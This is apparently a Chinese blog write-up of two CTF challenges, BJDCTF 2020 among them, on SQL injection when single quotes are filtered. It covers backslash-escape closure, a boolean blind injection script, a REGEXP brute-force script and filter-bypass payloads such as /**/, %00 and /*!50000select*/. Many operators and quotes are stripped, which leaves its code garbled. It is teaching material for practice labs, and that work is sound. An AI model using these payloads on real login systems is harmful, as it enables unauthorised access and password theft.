2026/8/29 6:27:35

从两道CTF实战解析无引号SQL注入的闭合与盲注技巧

从两道CTF实战解析无引号SQL注入的闭合与盲注技巧 1. 无引号SQL注入的核心挑战当单引号被过滤时传统的字符型注入手段就会失效。比如典型的登录查询语句SELECT * FROM users WHERE usernameadmin AND password123456如果单引号被过滤我们无法直接闭合前面的引号。但通过分析两道CTF题目我发现可以利用反斜杠转义和注释符的组合来重构语句闭合反斜杠转义在用户名输入admin\时第二个单引号会被转义注释符利用使用#注释掉末尾的单引号这样构造的语句会变成SELECT * FROM users WHERE usernameadmin\ AND password or 11#实际测试中我发现这种闭合方式成功率很高。关键在于控制好反斜杠的位置确保它能准确转义目标引号。2. 布尔盲注的实战应用在第一道[BJDCTF 2020]题目中过滤了单引号但保留了反斜杠和注释符。我采用的注入流程是闭合构造使用usernameadmin\转义第二个引号注入位置在password字段插入布尔判断条件逐位爆破通过比较ASCII码值判断字符具体脚本如下import requests url http://target.com/login flag for i in range(1, 50): low 32 high 127 while low high: mid (low high) // 2 payload for (ascii(substr(password,{i},1)){mid})# data { username: admin\\, password: payload } r requests.post(url, datadata) if Login success in r.text: low mid 1 else: high mid - 1 flag chr((low high 1) // 2) print(flag)这个脚本通过二分法逐位爆破密码实测可以在几分钟内获取完整密码。3. 正则表达式注入的高级技巧第二道题目过滤了更多关键词包括、like等比较操作符。这时就需要使用MySQL的REGEXP进行正则匹配注入SELECT user FROM user WHERE user\ AND passwd||passwd/**/regexp/**/^a;%00关键点在于使用/**/代替空格绕过过滤%00利用URL解码特性绕过注释符过滤正则锚点^匹配字符串开头我开发的自动化脚本如下import requests import string url http://target.com/check.php charset string.digits string.ascii_lowercase flag for i in range(1, 20): for char in charset: temp flag char payload f||passwd/**/regexp/**/\^{temp}\;\x00 data { username: \\, passwd: payload } r requests.post(url, datadata) if Welcome in r.text: flag temp print(flag) break这个脚本通过遍历字符集逐步构建正则表达式模式最终获取完整密码。4. 绕过过滤的创造性思维在实战中遇到过滤时我总结出几种有效方法符号替代替代AND||替代OR%0a替代空格编码转换十六进制编码admin→0x61646d696eURL编码#→%23注释技巧/*!50000select*/绕过关键字过滤内联注释/**/分割敏感词函数替代substr被过滤时用mid或substringascii被过滤时用ord比如这道过滤了select的题目1;/*!50000sElEcT*/ 1,2,3-- -通过大小写混合和注释成功绕过。5. 防御措施与实战建议从防御角度看建议开发者使用参数化查询设置最小权限原则部署WAF规则检测异常请求作为攻击方我的实战建议是先fuzz测试过滤规则优先尝试报错注入盲注时控制请求频率善用二分法提高效率在最近的一次CTF比赛中我通过组合使用反斜杠转义和布尔盲注仅用37次请求就获取了flag而暴力破解需要近千次请求。这印证了技巧性注入的高效性。理解SQL解析器的处理逻辑是突破过滤的关键。通过精心构造的payload即使面对严格的过滤规则也能找到注入突破口。